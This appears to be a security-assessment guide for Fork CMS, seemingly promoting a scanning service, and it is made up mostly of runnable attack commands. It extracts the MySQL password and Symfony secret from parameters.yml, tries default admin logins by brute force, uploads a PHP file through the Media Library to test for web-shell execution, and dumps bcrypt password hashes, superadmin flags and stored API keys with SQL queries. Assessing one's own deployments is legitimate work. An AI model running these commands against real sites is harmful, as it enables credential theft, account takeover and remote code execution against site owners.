Fork CMS is a user-friendly open-source PHP CMS developed in Belgium, built on Symfony components and popular among Belgian and Dutch web agencies. Key assessment areas: app/config/parameters.yml exposes MySQL credentials and the Symfony secret token; admin credentials at /private; the users table stores bcrypt hashes with is_god identifying superadmins; the Media Library enables file uploads; and the Module Manager can install arbitrary PHP modules. This guide covers systematic Fork CMS security assessment.
# Fork CMS — app/config/parameters.yml MySQL credential extraction
FORK_URL="https://site.example.com"
# app/config/parameters.yml — Fork CMS database and Symfony config
python3 -c "
import yaml
params = yaml.safe_load(open('/var/www/forkcms/app/config/parameters.yml')).get('parameters', {})
keys = ['database_password', 'database_user', 'database_name', 'database_host',
'secret', 'mailer_password', 'fork.cookie_secret_key']
for key in keys:
val = params.get(key, '')
if val: print(f'{key}: {str(val)[:60]}')
" 2>/dev/null
# database_password: mysql-password <-- MySQL password (CRITICAL)
# secret: symfony-secret-key <-- CSRF token signing key
# Check app/config/ web access (must return 403)
for CFG in "app/config/parameters.yml" "app/config/" ".env"; do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${FORK_URL}/${CFG}" 2>/dev/null)
echo "/${CFG}: HTTP ${STATUS}"
done
# Test admin credentials at /private/en/authentication/login
for CRED in "admin@site.com:admin" "fork@fork.dev:admin" "admin@fork.dev:fork"; do
EMAIL=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${FORK_URL}/private/en/authentication/login" \
-d "form[backend_email]=${EMAIL}&form[backend_password]=${PASS}" \
-c /tmp/fork_c -b /tmp/fork_c -L 2>/dev/null)
echo "${EMAIL}/${PASS}: HTTP ${STATUS}"
done
# Fork CMS admin panel — media library and module assessment
FORK_URL="https://site.example.com"
# Fork CMS admin at /private (default)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${FORK_URL}/private" 2>/dev/null)
echo "/private: HTTP ${STATUS}"
# Fork CMS version disclosure
cat /var/www/forkcms/composer.json 2>/dev/null | \
python3 -c "
import json, sys
d = json.load(sys.stdin)
print('Fork CMS version:', d.get('version', 'unknown'))
" 2>/dev/null
# Fork CMS Media Library — file upload
# Admin auth required; uploads go to /files/uploads/
ADMIN_SESS="extracted-symfony-session"
curl -s -X POST "${FORK_URL}/private/en/media-library/media/add" \
-F "file=@/tmp/test.php" \
-b "PHPSESSID=${ADMIN_SESS}" 2>/dev/null | head -5
# Check /files/ directory for PHP execution
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${FORK_URL}/files/uploads/test.php" 2>/dev/null)
echo "/files/uploads/test.php: HTTP ${STATUS}"
# Fork CMS API (if API module is installed)
curl -s "${FORK_URL}/api/1.0/" 2>/dev/null | head -5
# Fork CMS MySQL database — users hash and content extraction
DB_PASS="extracted-db-password"
mysql -u forkcms -p"${DB_PASS}" forkcms 2>/dev/null << 'EOF'
-- users — Fork CMS backend user accounts with bcrypt hashes
SELECT u.id, u.email, u.password,
u.is_god, -- true = superadmin (unrestricted access)
u.is_active,
u.date_added, u.date_updated,
u.settings -- JSON: display name, avatar, interface settings
FROM users u
WHERE u.is_active = 1
ORDER BY u.is_god DESC, u.id;
-- password: bcrypt hash ($2y$10$...)
-- is_god=1: full access to all modules including Module Manager
-- users_groups — user group assignments
SELECT ug.user_id, ug.group_id,
g.name AS group_name
FROM users_groups ug
JOIN groups g ON g.id = ug.group_id
ORDER BY ug.user_id;
-- pages — Fork CMS page content (including drafts)
SELECT p.id, p.title, p.status,
p.language, p.type,
p.publish_on, p.created_on,
LEFT(p.meta_description, 80) AS description
FROM pages p
WHERE p.status IN ('draft', 'archive')
ORDER BY p.created_on DESC
LIMIT 20;
-- blog_posts — blog posts (published, draft, archive)
SELECT b.id, b.title, b.status,
b.language, b.publish_on,
b.user_id
FROM blog_posts b
WHERE b.status IN ('draft', 'archive')
ORDER BY b.publish_on DESC
LIMIT 20;
-- modules_settings — Fork CMS module configuration (API keys, integrations)
SELECT ms.module, ms.name, ms.value
FROM modules_settings ms
WHERE ms.name LIKE '%api%' OR ms.name LIKE '%key%'
OR ms.name LIKE '%secret%' OR ms.name LIKE '%password%'
ORDER BY ms.module, ms.name
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| app/config/parameters.yml MySQL database_password and secret extraction | Read parameters.yml — database_password + secret key; full MySQL access to users bcrypt hashes + CSRF token forgery | Critical |
| users bcrypt hash extraction with is_god=true superadmin identification | MySQL SELECT password FROM users WHERE is_god=1 — bcrypt hashes; is_god superadmin has unrestricted CMS access including module installation | High |
| Admin credential brute-force at /private/en/authentication/login | POST /private/en/authentication/login — email/password; no rate limiting; admin session enables Media Library upload and module management | High |
| Media Library PHP file upload with execution in /files/ | POST /private/en/media-library/media/add — upload .php file; if PHP execution not blocked in /files/, web shell RCE with web server privileges | High |
| modules_settings API key and integration secret extraction | MySQL SELECT value FROM modules_settings WHERE name LIKE '%api%' — third-party integration keys, payment gateway credentials stored in modules config | Medium |
Ironimo tests Fork CMS deployments for app/config/parameters.yml MySQL database_password and Symfony secret key web and filesystem extraction, admin credential brute-force at /private/en/authentication/login, users bcrypt hash extraction with is_god=1 superadmin identification, Media Library PHP file upload in /files/ with execution verification, modules_settings API key and integration credential enumeration, pages and blog_posts draft content access, /app/config/ web accessibility verification, Fork CMS API module endpoint access assessment, Fork CMS version disclosure, and users_groups permission mapping for privilege escalation vectors.
Start free scan